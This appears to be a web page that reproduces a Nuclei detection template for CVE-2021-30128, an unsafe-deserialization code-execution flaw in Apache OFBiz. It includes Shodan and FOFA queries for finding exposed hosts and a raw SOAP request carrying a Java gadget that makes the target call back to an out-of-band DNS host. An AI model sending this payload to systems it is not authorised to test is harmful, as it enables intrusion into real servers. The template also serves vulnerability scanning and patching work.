CVE-2021-30128: Apache OFBiz <17.12.07 - Arbitrary Code Execution

2025-08-01 Apache OFBiz PoC Public

Description

Apache OFBiz before 17.12.07 is susceptible to arbitrary code execution via unsafe deserialization. An attacker can modify deserialized data or code without using provided accessor functions.

PoC

id: CVE-2021-30128

info:
  name: Apache OFBiz <17.12.07 - Arbitrary Code Execution
  author: For3stCo1d
  severity: critical
  description: Apache OFBiz before 17.12.07 is susceptible to arbitrary code execution via unsafe deserialization. An attacker can modify deserialized data or code without using provided accessor functions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Apache OFBiz to version 17.12.07 or later to mitigate this vulnerability.
  reference:
    - https://lists.apache.org/thread.html/rbe8439b26a71fc3b429aa793c65dcc4a6e349bc7bb5010746a74fa1d@%3Ccommits.ofbiz.apache.org%3E
    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743%40%3Cdev.ofbiz.apache.org%3E
    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743@%3Cdev.ofbiz.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30128
    - http://www.openwall.com/lists/oss-security/2021/04/27/5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30128
    cwe-id: CWE-502
    epss-score: 0.81209
    epss-percentile: 0.99615
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve2021,cve,apache,ofbiz,deserialization,rce,vuln,vkev

http:
  - raw:
      - |
        POST /webtools/control/SOAPService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
          <soapenv:Header/>
            <soapenv:Body>
              <ser>
                <map-Map>
                  <map-Entry>
                    <map-Key>
                      <cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</cus-obj>
                    </map-Key>
                  <map-Value>
                <std-String/>
                </map-Value>
                </map-Entry>
              </map-Map>
              </ser>
            </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - 'value="errorMessage"'
# digest: 4a0a00473045022100f0fd3ce43006a1ff0acd25c74acc6cb1ca0e0e57cd440b48f54612f4925ea4b602201444ae676248c092561806b1d02cbdea4ca46de3bd25d7653149d8bdc0ac617a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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